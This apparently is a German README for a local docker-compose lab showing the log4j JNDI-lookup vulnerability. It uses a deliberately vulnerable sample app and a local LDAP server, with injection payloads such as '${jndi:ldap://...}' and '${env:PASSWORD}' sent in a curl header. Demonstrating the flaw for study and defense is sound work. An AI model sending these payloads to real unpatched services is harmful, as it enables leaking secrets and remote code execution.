
Beispiel-Setup mit docker-compose, das zeigt, wie dieser Exploit funktioniert
Dieses Repository enthält ein funktionierendes Beispiel, wie die kürzlich bekannt gewordene log4j-Schwachstelle ausgenutzt werden kann. Es führt keine echte Remote-Codeausführung durch, zeigt aber, wie einfach ein Angreifer eine verwundbare Anwendung dazu bringen kann, einen eigenen LDAP-Server anzufragen.
Es verwendet die hervorragende verwundbare log4j-Beispielanwendung von christophetd: https://github.com/christophetd/log4shell-vulnerable-app
Diese Schwachstelle nutzt die lookup-Funktionalität von log4j aus, insbesondere jndi, das es log4j erlaubt, Lookups von externen Hosts für einzufügende Daten durchzuführen. Dies kann ausgenutzt werden, um alles Mögliche zu tun – vom Protokollieren sensibler Umgebungsvariablen bis hin zur Remote-Codeausführung.
Lookups werden für jeden Text durchgeführt, der in ${} eingeschlossen ist, wenn der Logger aufgerufen wird. Zum Beispiel:
${jndi:ldap://someldapserver:1389/o=example}
würde eine Lookup-Anfrage an diesen LDAP-Server mit der angegebenen Abfrage durchführen und das Ergebnis ausgeben.
Ein einfacheres Beispiel, das kein jndi verwendet, aber dennoch gefährlich ist:
${env:PASSWORD}
Dies würde den Inhalt dieser Umgebungsvariable in die Logs schreiben. Wer Zugriff auf diese Logs hat, könnte dann vertrauliche Daten aus der Anwendung extrahieren.
Der Code in log4j, der für diesen Exploit ausgenutzt wird, ist ziemlich einfach. Man muss nur den Logger aufrufen, um eine bestimmte Anfrage-Eigenschaft unbereinigt zu protokollieren. Beispielsweise könnte man den Inhalt eines User-Agent protokollieren.
...
@GetMapping("/bad")
public void Bad(@RequestHeader("User-Agent") String userAgent) {
logger.info("Received User-Agent header " + userAgent);
}
Zuerst den lokalen LDAP-Server bauen:
docker build -t ldapnode .
Sobald der Build abgeschlossen ist, den gesamten Stack mit folgendem Befehl starten:
docker-compose up
Danach kannst du eine Anfrage an die App senden und dabei den x-api-version-Header verwenden, um den Lookup einzuschleusen:
curl --request GET \
--url http://localhost:8080/ \
--header 'x-api-version: ${jndi:ldap://bad:1389/o=example}'
Bei dieser Anfrage siehst du in den docker-compose-Logs, dass der LDAP-Server aufgerufen wurde:
bad_1 | ldap server has been called!
log4j_1 | 2021-12-14 02:43:11.657 INFO 1 --- [nio-8080-exec-2] HelloWorld : Received a request for API version com.sun.jndi.ldap.LdapCtx@201a609c
Weitere Informationen zu Lösungswegen findest du in dieser Dokumentation.